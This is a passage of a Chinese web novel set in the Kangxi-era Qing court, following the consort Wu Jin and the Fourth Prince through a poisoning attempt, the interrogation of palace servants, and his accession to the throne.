乌锦知道他们乌家人现在就是依附在四阿哥这棵树上的藤,全仰仗着他,没有他也没有乌安的今日。
乌安他们回福州前一天,四阿哥陪她回一趟娘家,跟乌安他们吃一顿送行饭,她额娘他们见她这么瘦,都忍不住担心她,她说她最近吃得少的缘故,反正是糊弄过去了。
很快,眨眼间又来到年关。
皇上赏了不少年例到雍亲王府,据说是十几个阿哥当中获赏最多的。
过年期间,福晋请了戏班子到府上唱戏,乌锦闲着没事,基本上会去听戏。
年过完,听戏的日子才过去。
乌锦虽然身为侧福晋,但她是最闲的,不像福晋跟李氏偶尔还需要负责对外应酬还有府内的琐事。
四阿哥就更不用说了,又要忙户部的差事,又要忙着修园子,偶尔还要跟他那些幕僚议事。
康熙五十四年三月初,福晋差人送来两筐早春樱桃,内务府那边先送过来,福晋再分给府里的主子。
四阿哥傍晚过来时,乌锦示意他吃樱桃。
“你喂我吧。”
“爷又不是没长手。”
“我就想要你喂。”
乌锦将樱桃蒂去掉,直接将樱桃含在她口中,过去喂给他。
胤禛轻笑,干脆把她揽到自己腿上坐着,开心地接受她这种喂法。
“恶不恶心。”乌锦喂完后自己骂了一句。
“恶心你还这样喂我,我看你是故意撩拨我,再喂一次,我都不知道这樱桃是甜还是酸。”
乌锦见他的唇边被樱桃汁染红,说什么也不愿意再这样喂他,结果他依葫芦画瓢,自己咬着一颗樱桃往她嘴里渡。
“有核,别闹了。”
“那我把核去掉。”
乌锦没好气道:“那我岂不是要吃你的口水了?”
“又不是没吃过。”
乌锦拍他两下,胤禛觉得乌锦难得娇嗔,他已经很久没有见过她这样了,心情大好,继续这样喂了好几颗樱桃,弄得两个人的衣服都被樱桃汁染红。
“好啦,别闹了,不吃就算了。”
“是酸的。”
乌锦说樱桃本身就是这样酸甜酸甜,尤其是这个季节的樱桃。
“你喜欢吃的话,我再让人送一些过来给你。”
他要送,乌锦也喜欢吃,自然是大方地感谢他。
过了一天,四阿哥真的让苏培盛送来三大筐樱桃,他送过来的樱桃看上去色泽很红,个头又大,依旧是酸甜的口感,乌锦分给宋格格跟耿格格她们一些,桃园的奴才也可以随便吃,反正樱桃都放不久。
曦宁这孩子跟着她也吃了不少。
有一天下午,乌锦过去池塘那边喂鱼,碰到年氏。
年氏过来跟她说话,语气有点酸:“我听说侧福晋这几日吃了不少樱桃。”
乌锦淡淡地看着年氏,等着她下一句话。
“侧福晋,主子爷可真是宠你啊,听说京城好吃的樱桃都往侧福晋那送,我们都没得吃。”
“年妹妹怎会没有樱桃吃?主子爷没赏给年妹妹吗?我还以为主子爷也赏给妹妹了,原来没有,年妹妹实在馋的话,我可以分几个樱桃给妹妹尝尝鲜。”
年氏气道:“谁需要你的施舍,我那里也有樱桃。”
“不要就算了,妹妹不必动怒。”
年氏真想不明白侧福晋为什么还这么得宠,这都过去多久了,两年都有了,主子爷还是独宠侧福晋,现在基本上只会在侧福晋那过夜,很少召其他人侍寝。
“侧福晋,主子爷不会一直宠你的。”
“是啊,到时候我年老色衰,主子爷肯定会让新人得宠,不过真到那个时候,妹妹的年纪应该也不小了。”
乌锦哪会怕一个年格格,她都是侧福晋了,自然想说什么就说什么。
“你……”年氏见侧福晋讽刺她年纪大,想骂些什么又顾及侧福晋的身份,只好将骂人的话吞回去。
“好啦,年妹妹,你要是不喂鱼的话,可以去花园那边逛逛,我还想喂鱼。”
年氏也气得直接离开。
乌锦继续喂鱼,喂了一回后才回桃园。
曦宁虽是女孩子,但她喜欢往外面跑,偶尔福晋也会带着她到别人家做客,她本就是格格,京城里跟她年纪差不多的宗女互相之间也认识,常常约着一块玩。
乌锦不会拘着她,不会要求她陪着她待在府里。
曦宁回来时也会跟她说她见了谁,做了什么,看着女儿这么无拘无束,自由自在的样子,相反,她很是替她开心。
乌锦听说自从八阿哥被皇上罚闭门思过一个月后,虽然这一个月早就过去,但原先八阿哥是被皇上重用的,但那些大臣写折子称赞八阿哥多贤明,是太子的人选后,皇上便不怎么器重八阿哥。
皇上在这些阿哥中最器重的自然是四阿哥,其次三阿哥、九阿哥跟十三阿哥在朝中也颇被皇上倚重。
四阿哥又是一天傍晚过来,人看上去很疲惫,乌锦知道他这阵子为了让皇上早日住进畅春园,忙进忙出,累是自然的。
“爷,我给你揉揉肩吧。”
“嗯。”
乌锦的力气不大,胤禛觉得她给他揉肩是有所图,心想她是不是知道什么了。
“曦宁呢?”
“去宋姐姐那了,宋姐姐留她过夜。”
“你可是听说什么了?”
乌锦疑惑,她听说什么?她不知他指的是什么,难不成外面又有什么事发生了?
“爷,我不明白你说的是什么,我在府里什么都没听说。”
“嗯。”
嗯是什么意思,乌锦掐他后颈一下,说道:“爷,你有话就直说,别让我猜来猜去。”
“没什么,让人摆膳吧。”
乌锦让人摆膳,她也没有追问下去,反正她该知道的最后会知道的,他不想让她知道的事,她一个常年连大门都出不去的人也无从得知。
又过几天,乌锦从宋格格口中才得知原来准噶尔部进攻西藏,西藏那边请求清廷支援,皇上准备让十四出征,这些阿哥当中,只有十四算是武将,大阿哥也曾跟着皇上出征过,但他没有单独领兵作战的本事,只有十四有过这样的经验。
乌锦才明白那天四阿哥的反应是怎么一回事,她记得历史上也有这么一件事,而且历史上这战役打了很久,不是几个月的事情。
她觉得这样也好,十四带着弘春远离京城,或许能保住一命。
宋格格跟她说了之后,她当作不知此事,也没有问四阿哥是不是真的,跟以往一样每天看看书,喂喂鱼,看看花。
十四出征西藏的提议是他跟皇阿玛提的,一来是十四本身有领兵作战的经验,二来他的确想让十四离开京城,他不想让十四再见到乌锦,胤禛承认他有私心。
胤禛这几日见到乌锦这么平静,似乎不知道这事,他反而觉得奇怪,乌锦是真的不知道还是装作不知道,她跟十四在一起八年,八年太长,很难将一个人从心中抹去,她跟十四还有一个孩子。
这两年,她很平静地接受不能出门的日子,不吵不闹,越是这样,他越觉得她心里有十四。
胤禛难得白天过来,见乌锦一边看书一边吃樱桃,他也坐在一边,没有出声。
乌锦注意到他的存在,不过继续看书。
两人都没有说话。
过了好一会儿,胤禛才开口:“十四月底要离开京城,你要去见见他吗?”
“主子爷想要我见吗?”
“你想见吗?”
乌锦很干脆地说不想。
胤禛也不知道她真是这么想还是怕他生气才这么说,反正他听着心情还不错,他沉声说了一句:“不见就不见,随你。”
乌锦继续默默看书,没理他。
全文完,无番外
第117章大结局全文完,无番外
三月三十日,十四被皇阿玛任命为抚远大将军率军出征,胤禛在皇阿玛的带领下跟众大臣送十四出城。
胤禛知道十四这次也把弘春带上,看着队伍越行越远,他在心里松一口气,他怕自己控制不住情绪而对十四动手。
他回到府邸,直奔桃园。
乌锦正跟女儿在看院子里的桃树,春日到来,桃树也开花了,两人正在摘花,说是要弄桃花饼。
“阿玛,你回来啦。”曦宁见到自家阿玛不知何时站到她们身后,她一回头看到阿玛,高兴地喊了一声。
乌锦知道今日是十四出征的日子,不仅仅是他送十四出征,连官妇比如福晋跟李氏也要过去送十四等人出征。
“你们把花都摘了,它要怎么结果?”
“额娘说了这会还没到桃叔结果的时候,要等到六月才会结果,反正不摘,花也会掉下来,还不如就在树上摘了。”
“那就摘吧,全都摘了。”胤禛心情好,高兴道。
曦宁说不需要摘那么多,留一些在树上才会好看。
胤禛难得陪她们母女两摘桃花,摘了一些后让人送去膳房那些,弄一些桃花饼送过来。
到了傍晚,晚膳就有桃花饼呈上来,胤禛也吃了一个,女儿吃了两个,乌锦只吃了半个,虽然病愈了,但她吃的比以前少,胃口变小了。
夜里,胤禛从背后抱着她,亲着她的后颈。
“我来月信了。”怕某人兽性大发,乌锦提醒一句。
“今日应该让你送送十四的。”
乌锦在心里翻个白眼,他真想让她送就会让她随着福晋跟李氏一块出门,而不是在这个时候说一句已经无法更改结果的话。
“十四阿哥有那么多人送他,不缺我一个。”乌锦本想问弘春有没有跟去的,但是还是忍下没问。
“也是,肚子疼不疼,我记得你每回来月信时肚子都会不舒服,我帮你揉一揉吧。”
这人今天心情很好,乌锦感觉出来了,没有拒绝他,他温热的手掌就放在她肚子上,给她来回揉摸,她的确感觉好受一点。
“好些了吗?”
“嗯,你今晚手不要拿开。”乌锦这阵子身子虚,今天又是来月信第一天,人很疲惫,很快就迷迷糊糊睡着了。
胤禛的手就一直放在她肚子上,直到入睡。
……
十四跟弘春离开京城后,雍亲王府的日子平静许多。
只是这种平静只是持续了两个月,两个月后,胤禛在乌锦这用晚膳时忽然身子不适。
胤禛立即让人去请太医,他见乌锦跟女儿神情担忧,还是先安抚母女两:“我没事,只是有点不舒服。”
“你先躺下吧。”乌锦见苏培盛已经把那些膳食都封存起
来,她就知道事情不对劲了,尤其是四阿哥唇色发白,人要倒下去了,她已经想到是毒杀,在这个时候,多少人盼着他死,想要他死,上一次刺杀不成功,那些人肯定另想它法。
乌锦握着他的手,让曦宁去请福晋过来。
那天傍晚,四阿哥吐了不少血,十几个太医围着四阿哥,福晋过来时也命人将前院还有王府通通都封锁,府内的人通通不得外出,外面的人除了太医也进不来,四阿哥吞了两颗救命丸。
好在当天夜里,四阿哥脉象平稳不少,十几个太医想尽办法给四阿哥解了毒。
后院的主子们几乎是一夜没睡,熬到天亮,直到太医说四阿哥已无性命之忧,她们才松一口气,回去歇息。
乌锦守在床边,天亮才阖眼,没睡多久,她被吵醒,一醒见四阿哥已经醒了,她忙把太医叫进来,太医给四阿哥检查一番说毒已经解得差不多时,她点点头,给他喂了汤药。
“我没事,你去歇息吧。”
乌锦也实在熬不住,自从上次大病过后,她身子一直很虚,见他没有大碍,她就过去曦宁的房间歇息,把她的房间留给他。
等她再次醒来时,发现她身边伺候的人都换了,她问君梅她们在哪,那些奴才表情为难,她直接过去找他。
“君梅她们呢?”
“只是把她们带下去审问。”
他平静的一句话让乌锦皱眉,人是在桃园出的事,她知道他肯定会彻查,只是她不认为是君梅她们做的,君梅她们在她身边伺候多年,她们要是想下手早就下手了,何必等到现在。
审问?还是严刑逼供?重刑之下,人还能活吗?
乌锦为君梅她们求情:“主子爷,我相信她们是无辜的,她们不会背叛主子爷,更不会给主子爷下毒,还请主子爷饶过她们,别对她们用刑。”
“你放心,我不会要她们的性命,若她们真是无辜的,我会放过她们的。”胤禛平静又虚弱道。
在乌锦听来,这话并不能让她放心,不会要她们的性命,但要是把人弄个半残,跟要了性命没什么区别,她知道此时的他处在极度愤怒的状态下,怀疑每一个人,但君梅她们伺候她太多年,她不可能眼睁睁地看着她们出事。
“主子爷,别对她们用刑,还请饶过她们,她们真是无辜的,你怀疑她们,其实就是在怀疑我,不如你也把我带去审问吧。”
胤禛盯着乌锦,他知道她一向心善,为奴才说话是她会做的事情,只是这事不是小事,他势必要将人找出来,哪怕是严刑逼供要她们的命,他宁可错杀,也不放过任何一个可疑的人,大不了再另外找几个奴才伺候她就是。
至于他有没有怀疑乌锦,他心里是有过一丝怀疑的,他上一次中毒便是乌锦下的手,她故伎重演也不一定,十四他站在老八那边,她若是为了十四对他动手也不是没有可能。
只是他不能当着她的面说出来,怀疑只能放在心里,他也不可能像对奴才那样审问她,怀疑跟相信之间,他选择相信她。
“乌锦,我不会伤她们性命,她们说的都是实话的话,她们不会有大碍。”
乌锦很失望,他其实就是不把奴才的命当做一回事,她有着深深的无力感,哪怕她求情,他也不肯放过君梅她们。
“你回前院吧,桃园这边没人手伺候你,苏公公,你们把你们的主子抬回前院吧,省得他又在桃园出事,然后找我们麻烦,桃园又得换一批奴才。”
苏培盛愣了一下,有一种城门失火,殃及池鱼的感觉,目光在两位主子身上来回,不知如何是好。
“回前院。”
主子爷的一句话让苏培盛忙喳了一声,然后示意几个奴才进来,用被子将主子爷抬回前院。
仅过半个时辰,乌主子也命人将主子爷的东西通通送回前院,乌主子是真的动气了。
苏培盛身为奴才,其实心里希望自己能有乌主子这样护着奴才的主子,奴才也是人。
过一会儿,乌主子打听到那些人关押的地方,直接过去,苏培盛听说乌主子直接命令审问的人让他们下手轻一点,桃园的奴才伤了残了,她不会放过他们,同时乌主子拿出不少银两给那些人,用意很明显,就是护着那帮奴才。
这一次主子爷是真的动怒了,不仅仅是桃园的奴才要审问,膳房的人还有王府的奴才通通都要审问一遍。
苏培盛明白那些人一定会被严刑逼供,非死即伤,主子爷不会轻易地让这事过去,一定会查个水落石出。
主子爷在前院静养,乌主子气得没有过来探望,只有曦宁格格过来。
这事查了半个月,终于有点眉目,竟跟大阿哥有关,也不是桃园的奴才给主子爷下的毒,而是膳房里的一个奴才被大阿哥的人收买了,那人是大阿哥一妾室的亲戚,毒是抹在主子爷的碗筷上,所以只有主子爷中毒,而乌主子跟曦宁格格没事。
主子爷直接拉着那个奴才还有指使奴才下毒的人进宫,主子爷中毒一事早就被皇上知晓,毕竟十几个太医过来给主子爷看诊,这事就不可能瞒过皇上。
皇上听完所有供述后找来大阿哥对峙,大阿哥坚决否认,这毒毕竟不是大阿哥亲手下的,大阿哥当然可以否认,完全推给别人。
皇上也没有严惩大阿哥,只是说这事没有证据,放过大阿哥,苏培盛看得明白,大阿哥能做出弑弟的行为,皇上已经对他失望。
皇上对前太子不满,也只是将前太子囚禁,大阿哥却要杀亲兄弟,兄弟相残对皇上而言是大忌。
苏培盛觉得主子爷离坐上那个位置真的不远了,大阿哥恐怕被皇上厌恶了,因大阿哥花名在外,百姓对大阿哥的印象只有风流滥情,名声其实不好,虽然主子爷也养外室,但主子爷对外却博得一个深情的名声,毕竟主子爷对乌主子是实打实地在乎,大阿哥已没有登基的可能。
“她在做什么?”苏培盛正晃神时,坐在案桌前的主子爷突然问了一句,他愣住,主子爷明显问的是乌主子,这阵子乌主子正跟主子爷怄气,哪怕主子爷去桃园,乌主子对主子爷都是不搭理的,只是他人也在这,他怎么知道乌主子在做什么,他犹豫地说乌主子应该在看书吧,这是乌主子最常做的事情。
好在主子爷没再问下去。
……
桃园这边,因为君梅她们在养伤,乌锦不会使唤她们,这一次小才子反而伤得轻一些,半个月就好得差不多了,基本上是他在忙里忙外,他也乐意。
他就知道主子是好主子,这次要是没有主子护着,他们一帮人很可能会丧命,还会牵连家人族人,虽说他一个太监也没什么族人了,他之所以半
个月能恢复,全仰仗主子,所以他对主子感激不尽,伺候得就更上心了。
他过去膳房提膳,碰到伤愈的岳大厨。
岳智阳神色殷勤地过来:“才公公,你过来了,这是侧福晋的膳食,那个……我想亲自过去给主子道谢,还劳烦才公公领路。”
主子爷中毒,桃园的膳食基本上是他负责,那天他听闻主子爷中毒后就快吓死了,再之后他被抓去审问,他以为自己要死了,还可能牵连家人,但侧福晋帮他求情,他躲过一劫,保住一条命,虽说吃了一番苦头,受了点伤,但比起那些被严刑拷打而丧命的人,他已经是不幸中的万幸。
岳智阳很清楚是谁救了他,没有侧福晋,他可能早就死了,他无比庆幸当初对侧福晋示好,选择投靠侧福晋,侧福晋心善,是真的会为奴才求情。
主子爷中毒一事太过严重,稍有不慎,侧福晋都会被牵连,被主子爷怀疑,但侧福晋在事情没查清之前就愿意护住他们,为他们说话,选择相信他们,不怕被牵连,就凭这一点,他也得过去跟侧福晋跪下磕头致谢。
这些年,岳智阳对主子跟小主子还有对他们这帮奴才的照顾,小才子也是看在眼里的,这点小忙,他肯定也是愿意帮他的。
他接过食盒,示意他跟着。
小才子到桃园后先进屋跟主子通传,过一会儿领着岳大厨进去。
岳智阳一进房间见到侧福晋,扑通一声跪下来,连磕三个响头。
“奴才岳智阳感谢主子替奴才求情,主子的救命之恩,奴才这辈子下辈子都愿意为主子做牛做马伺候主子。”
“这是干什么,快起来,伤好些了吗?”
“回主子,奴才的伤已无大碍,谢谢主子给奴才送的药膏,主子以后想吃什么尽管跟奴才说,奴才愿意效犬马之劳。”
乌锦笑道:“好了就行,我的确喜欢岳大厨做的膳食,合我口味,以后你有什么事可以跟小才子说。”
岳智阳还是忍不住抹了抹眼泪,主子说这话是宽他的心,以后他还能在府里干活,还负责桃园的膳食,而不是被赶出去,出这么大的事,虽说不是他下的毒,但也是膳房这边的人出了纰漏,主子不留他,他恐怕很难在府里继续干活,他哽咽道:“奴才知道了,没什么事的话,奴才先下去了。”
岳智阳从桃园出来,想着主子喜欢吃什么,他晚膳弄给主子吃,还有小主子,主子的恩情,他这辈子恐怕都报答不完。
乌锦用完午膳后过去看看君梅她们,见她们伤口恢复良好,她也松一口气,还好只是皮肉伤,不伤及性命,再养一段日子就好了。
她也隐隐听说这次是大阿哥在背后指使,她想大阿哥是狗急跳墙吧,眼看着局势越来越倾向四阿哥,他耐不住了,以为没有太子,他身为长子就能如愿,没想到四阿哥凸显出来。
当天傍晚,四阿哥过来,曦宁见他们不说话,她自己自顾自地说起来。
“额娘,你觉得呢?”
“什么?”乌锦没太认真听。
曦宁撅着嘴有些不高兴道:“额娘,你都没听我说话。”
“额娘现在听,你说什么?”
“我不想说了。”
“你说,额娘听着。”
“我说我明天去曦玉姐姐那。”
“你去吧。”乌锦不拦着,曦玉从上一年九月份出嫁,眼看着也过去大半年了,她过去看看也不是什么大事。
曦宁看向她阿玛,阿玛也点头后,她开心地笑了笑,至于阿玛跟额娘互相不说话,她实在管不了,她觉得阿玛跟额娘有他们的相处之道,额娘也让她别操心他们大人的事,反正他们会和好的。
当天晚上,果不其然,阿玛留在桃园,而不是回前院。
夜晚,一轮弯月高悬空中,屋内,两人挨在一块,应该说乌锦被从后背抱着。
“他们这不是没事嘛,你还要生多久的气?”
乌锦没说话。
“你不说话的话,我们就做别的。”
乌锦终于开口:“你身子都虚成这样了,就别想这些有的没的,赶紧睡觉。”
“你还是担心我的。”
“赶紧睡。”
胤禛轻笑,亲了亲她耳后,拥着她入睡。
他们就这样和好,日子恢复平静。
一年后,畅春园修好,皇上入住畅春园,在畅春园处理政事。
因畅春园修得快,皇上还夸了四阿哥,至于花了多少银子,皇上不管,他只管园子修得合不合他心意。
因十四跟弘春不在京城,乌锦可以出自由出府,这一年里,她跟曦宁常常出府,也会跟着四阿哥出府。
也是在这一年,她阿玛身子每况愈下,在年中病逝,乌安回来奔丧,不过回来一个月又要回福州,乌明担起儿子的责任,照顾她额娘跟小娘他们。
平静的日子过得很快,眨眼间来到康熙六十一年六月初,十四阿哥出征六年后归来,平定了西藏叛乱。
听闻皇上的身子也快不行了,才会召回十四阿哥。
用过晚膳后,乌锦洗完澡,正坐在梳妆台前擦头发。
他坐在床沿处,冷不丁地开口道:“十四回来了。”
乌锦回头,跟他深沉的目光撞上,然后又转过头,没说话,继续擦头发。
等头发擦得差不多时,她才回床上,这人很快将她搂抱住,不停地亲她。
“你不想跟我说什么吗?”
乌锦翻了一个白眼,没好气道:“你想我说什么?”
“我看弘春长高不少。”
乌锦眼底划过一抹悲伤,心中刺痛,弘春长多高,她这个当额娘的人都不知道,只记得弘春六岁时的容颜,五年过去,弘春长成什么样,她都不知道,弘春可能都忘了她这个额娘了吧。
她看向面前的人,缓缓闭上眼睛。
胤禛知道她对十四父子两不可能完全不在意,可当真的见到她平静的脸庞上出现波动时,他又心生不悦,他攫住她红唇,难得在床事上发狠,用力折腾她,在她身上留下一些掐痕跟淤青。
胤禛晓得皇阿玛身子不行了,他把隆科多跟年羹尧等人也叫回京城,做最后的准备。
他不知道皇阿玛有没有立遗诏,但不管皇阿玛有没有立遗诏,他一定要坐上那个位置,哪怕皇阿玛没有传位给他,到时候要见血,要兵刃相接,他也在所不惜,他不会让皇位旁落他人。
十四回来第十天,皇阿玛将他召去畅春园,胤禛见到迟暮年老的皇阿玛,心中还是有一丝波动,因为他见过意气风发、英姿勃勃的皇阿玛,当年皇阿玛教他们骑马射箭,无论潇洒的骑姿还是箭术都令年幼的他们惊叹不已。
“儿臣叩见皇阿玛,皇阿玛万岁。”胤禛恭恭敬敬地跪下行礼。
“胤禛,过来。”
胤禛走去床边,皇阿玛身子不行了,基本上是躺在床上或是坐在床上,此时的皇阿玛靠在床头上,目光矍铄,他半跪在床边,微弓着身子。
“胤禛,善待他们,善待你的弟兄,一定要善待他们,为君者要仁慈,他们是你的弟兄,不要赶尽杀绝,失了民心,胤禛,你可听到?”
皇阿玛眼神里闪着锐利,胤禛心中震惊,同时很是激动,皇阿玛这番话的意思是要传位给他?
“皇阿玛,儿臣必定谨遵圣谕。”
“为君者要懂得制衡,要让他们相互掣肘。”
“儿臣明白。”
“皇阿玛老了,大清要交到你手上,要仁慈,他们是你的亲兄弟,能放过就放过,胤禛,你可听到?”
皇阿玛交代第二次,胤禛应下,说他绝不违背皇阿玛之命。
“退下吧。”
胤禛从畅春园走出时还有点恍惚,皇阿玛的话近在耳边,震耳欲聋,他……这是要坐上皇位了?皇阿玛最后是属意他来继位?
这么多年,他终于要如愿以偿了,胤禛心中狂喜,面上都不由自主带上笑意。
等回到府邸后,他直接把隆科多叫过来,让他派人守着畅春园。
当天夜里,胤禛还是很激动,睡不着的他不停
地折腾乌锦,但他还不能跟乌锦说这事,只能忍着不说,最后把乌锦惹急了,被她用力咬了一口,他才停下。
又过十天,他们一众兄弟都被皇阿玛召去畅春园,不仅仅是他们,还有不少大臣被召过去,基本上皇阿玛的儿子都被召过去,连五岁的胤祕都不例外。
皇阿玛示意他们跪下,一旁的李光地开始宣读诏书。
“朕自登基以来,守成继统,弘扬祖德,数十年以社稷与百姓为重,不敢懈怠,今大限将至,精力衰竭,难日理万机,朕观皇四子雍亲王胤禛人品贵重,聪慧睿智,宅心仁厚,遇事沉稳,心怀苍生,乃继承大统之不二人选,朕驾崩之日便是胤禛登基之时,故朕立皇四子胤禛为皇太子,望尔等尽心辅佐新帝,保我大清江山辉煌永固,请雍亲王领旨。”
“儿臣领旨。”
胤禛接过诏书,诏书一式三份,用满蒙汉三语所写,有这封诏书,众人见证,他继承大统无人敢质疑。
胤禛在这个时候是非常感激皇阿玛的,皇阿玛可以等驾崩后再宣读诏书,但皇阿玛选择在生前就宣读诏书,为的就是让他光明正大,堂堂正正地继位,让所有人都不能有异议。
不管其他人怎么想,胤禛接下诏书后又对着皇阿玛磕了三个响头,他再回头看他的弟兄们,有几个明显心有不甘,脸上透着不服气,但那又如何,皇位是他的。
自从宣读诏书,皇阿玛身子每况愈下,胤禛每一日都会过来探望皇阿玛,也接管了朝中政务,他这个皇太子基本上等于新帝,皇阿玛清醒的时候不多了。
哪怕到这个时候,他也不能松懈,已经命隆科多年羹尧等人守住京城内外,严阵以待,牢牢把守。
他知道老八等人可能还不死心。
而他自己为防止五年前中毒事件发生,膳房的人底细查得清清楚楚,将他们的家人族人都通通看管起来,进口的食物一定会让人先反复试毒,他再进食。
十四出征归来后倒是收敛不少,没有跟老八他们走得很近。
皇阿玛驾崩那一天是十一月十三日,当天午时,胤禛刚好在皇阿玛身边,不仅仅是他,还有老三老五他们,他们知道皇阿玛在弥留之际,基本上每一天都有人守着皇阿玛,皇阿玛闭上眼睛时,他还是流下眼泪。
老三跟老五他们比较识相,当即朝他跪下来,让他处理皇阿玛的后事,直接喊他皇上。
胤禛知道此时不是悲伤的时候,不仅仅是皇阿玛的后事要处理,他还得提防前太子跟老八他们突然作乱。
他让十三去盯着老八他们,又让简亲王去守着雍亲王府,防止有人拿府里的人要挟他。
……
乌锦这边自从十四回京后,她已经有大半年没有出府了,几个月前四阿哥被封为皇太子,府里更是直接戒严,她们都知道皇上这是大限将至,弥留之际了。
当有一天跟在四阿哥身边的高昌义高公公从畅春园那边回来,告诉她们皇上驾崩殡天了,其实府里的人包括福晋都是喜的,她们知道这意味着四阿哥将继位成为新帝,不过很快她们开始装出悲痛的样子,全府上下开始哭嚎,拿出准备好的白布挂上,同时穿上丧服。
乌锦知道此时的雍亲王府是重兵把守,闲杂人等都不能随便进入。
这个时候,她们只需要慢慢等,等着四阿哥下一步指令。
哭嚎了一天,四阿哥没有回来,到第三天,她们才被接去宫里,继续为皇上哭丧。
乌锦知道自从皇上临死前就宣布传位诏书,四阿哥这皇位就坐稳了,名正言顺,从传位到皇上驾崩有半年时间,这半年足以让四阿哥做好万全的准备。
四阿哥这边有简亲王、隆科多、年羹尧还有康亲王的辅佐,京城的兵力也已经移交到四阿哥这边,不管是大阿哥还是八阿哥等人都掀不起太大的风波。
她们一帮人跪着哭灵,哭了三天后才回府,回府之后便是开始收拾东西,过几日就要进宫了。
期间乌锦没有见到新帝,倒是远远瞥见十四跟弘春,弘春的确长高不少,弘春原先稚嫩的脸庞也变得成熟一些,从一个小男孩成长为一个大男孩了,肩膀宽阔不少,只是远远瞥见,没能说上话。
她也不知道他们有没有见到她,她是借着给先帝哭丧而将见到他们的欣喜跟感伤哭出来。
她们进宫前,先帝册封的圣旨先下来。
福晋乌喇那拉氏被册封为皇后,乌锦被册封为皇贵妃,年氏为贵妃,侧福晋李氏为齐妃,格格钮祜禄氏为熹妃,格格宋氏为懋嫔,格格耿氏为宁嫔,郭氏、张氏、武氏均为常在。
听说要等先帝的妃子们挪宫,她们才可以进宫,这一等就是五天,五天后,她们进宫。
乌锦被分到承乾宫,她身为皇贵妃,加上新帝后院的女人并不多,目前可以一人住一宫,跟曦宁一块住。
因为先帝的丧事到最后下葬恐怕要一个月,属于国丧,加上礼部那边要准备登基大典,目前整个皇宫都处于忙碌的状态。
只是这些跟乌锦无关,她只需好好待在承乾宫,外面的忙碌跟暗潮涌动都跟她无关,她的日子相对平静。
在后宫安定下来后,皇后领着她们给皇太后请安,乌锦注意到皇太后的目光落在她身上居多,对她应该是有很多不满的,但在众人面前,皇太后没有刁难她。
请安结束后,乌锦又回到承乾宫,而皇上已经在等她,这是他第一次过来。
乌锦规规矩矩给他行礼,他把她扶起来。
“往后见到我不用多礼。”
“礼不可废。”
即便他是阿哥时,自己都不会真正忤逆他,更何况他已经是皇帝了,乌锦抬眸看他,这阵子,他应该有很多事要处理,眼底有些乌青,人看上去略显疲惫。
“还习惯吗?要是缺奴才,可以跟内务府的人要几个过来伺候你。”
“不用了,臣妾就一个人,哪需要那么人伺候,没什么习惯不习惯,不过是换一个地方住而已。”
“曦宁呢?”
“应该去御花园那边了吧,她坐不住。”
皇上让人摆膳,他跟她坐在一块用膳,十几道菜摆上来,他吃得不多,她吃得也不多。
吃过之后,他在她这里歇息。
乌锦不困,在皇上睡觉时,她自己默默看书,等皇上睡醒,他要过去乾清宫继续处理朝务,说是晚上再过来,她点点头表示知道了。
乌锦把君梅她们召过来,虽然她们跟着她入宫了,但她不打算让她们继续留在宫里,毕竟她们已经嫁人有孩子了,其实出宫对她们而言是更好的前程,没必要跟她一样在皇宫里耗。
“主子,我们还想继续伺候你,我们不想出宫,我们年纪还不大,可以继续伺候主子。”
乌锦看着这些年一直陪伴她的人,她眼眶泛红,摸了摸她们的脸,哽咽道:“这些年辛苦你们了,其实六年前的事发生后,我就想让你们出府了,你们既然已经嫁人,进宫后出宫不易,出宫对你们而言是好事。”
对君梅她们而言,在王府里当差是一份好差事,既有月银又体面,一些家世不好的包衣奴才都希望到贵主身边当差,她当年才没有让她们出府。
不过在宫里当差毕竟不一样,乌锦还是希望她们能够出宫,宫外自由一些,还能见到自己的家人。
“放心,我会给你们足够的银两,这几日,你们收拾东西出宫吧。”
“那主子,谁来伺候你?”君梅问道。
“我会跟内务府再要几个奴才。”
小才子哭道:“主子,你不要我,我又没有家人,我在宫外更无依无靠,我还想伺候主子一辈子呢。”
乌锦知道小才子情况特殊,他是太监,这么多年已跟家人没什么联系,不像君梅她们还有家人,她说小才子可以留下,她若是死了,她也会叮嘱曦宁给小才子养老送终。
“主子,呸呸呸,别说不吉利的话。”
乌锦轻笑,握着君梅她们的手
,“你们听我的,在宫里未必是好事。”
乌锦知道皇上性子阴晴不定,他们两之间发生什么事,她怕他拿她们出气,上一次她们能保住性命,再来一次就未必了。
君梅她们只好点点头答应下来。
到了傍晚,皇上过来,乌锦跟他说了这事,只说她们年纪大了,想出宫了,她会跟内务府要几个年轻的宫女过来。
皇上说随她。
乌锦这些年攒了不少银两,如今钱财对她而言都是身外之物,君梅她们出宫时,她几乎将自己的银子都分散给她们,不仅仅是银子,还有一些首饰。
曦宁也是君梅她们看着长大的,君梅她们出宫时,曦宁也哭得稀里哗啦。
在君梅她们出宫第二天,内务府就送来四个年轻的宫女,分别是映春、映夏、映秋跟映冬,年纪都在二十岁左右。
虽然临近年关,不过目前正处于国丧,先帝的灵柩还没下葬,宫里的气氛依旧属于沉郁低压,宫女太监在外面是不能露出笑脸的。
登基大典的日子定在年后,先让先帝下葬,先帝下葬过后,眨眼间到了除夕,今年除夕宫里没有举办宫宴,只是皇上召后宫的主子一块用膳,算是家宴。
乌锦喝了一点酒,回到承乾宫后没多久,皇上也过来了,他也喝了一点酒。
映春她们伺候皇上更衣。
“皇上,你明日还要早起,为何还喝那么多。”
他的第一次朝贺,天不亮就要起了,他喝这么多,明日叫他起来的人怕是不好过。
胤禛看着絮叨的乌锦,他把她拉到身边,让她坐在他腿上,他笑道:“我心情好就喝多了,但我还没醉,乌锦,我当上皇帝了。”
乌锦是第一次听他这么说,第一次见他这么高兴,他当上皇帝后一直在忙碌,这算不算后知后觉,终于有当上皇帝的实感,她摸了摸他的脸,四目相对间,她就被吻了。
映春她们是第一次遇到这种情况,不知是该出去还是继续站着。
乌锦得空挥挥手,示意她们出去。
胤禛高兴,折腾乌锦一回才入睡。
两个喝酒的人很快睡着。
翌日一早,乌锦被鞭炮声吵醒,醒来已经不见皇上的踪影,她穿戴好过去皇后那,皇后带着她们过去给皇太后拜年。
乌锦从皇太后的慈宁宫出来后,恰巧跟年贵妃走在一块。
年氏没想到自己会被封为贵妃,她知道自己无子,被封为贵妃主要是她哥哥年羹尧从龙有功,皇后也就算了,在她之上还有皇贵妃,皇贵妃又没有阿哥,她心中不服,不过这么多年,她也看清楚了,皇上是真的喜欢皇贵妃,皇贵妃是她们这些人当中最得宠的。
年氏原本想说几句不好听的话,不过大过年的,她还是忍回去了,皇贵妃虽然最得宠,不过人不张扬跋扈,相反她很低调,性子是真的淡然,她没必要去招惹得罪皇贵妃。
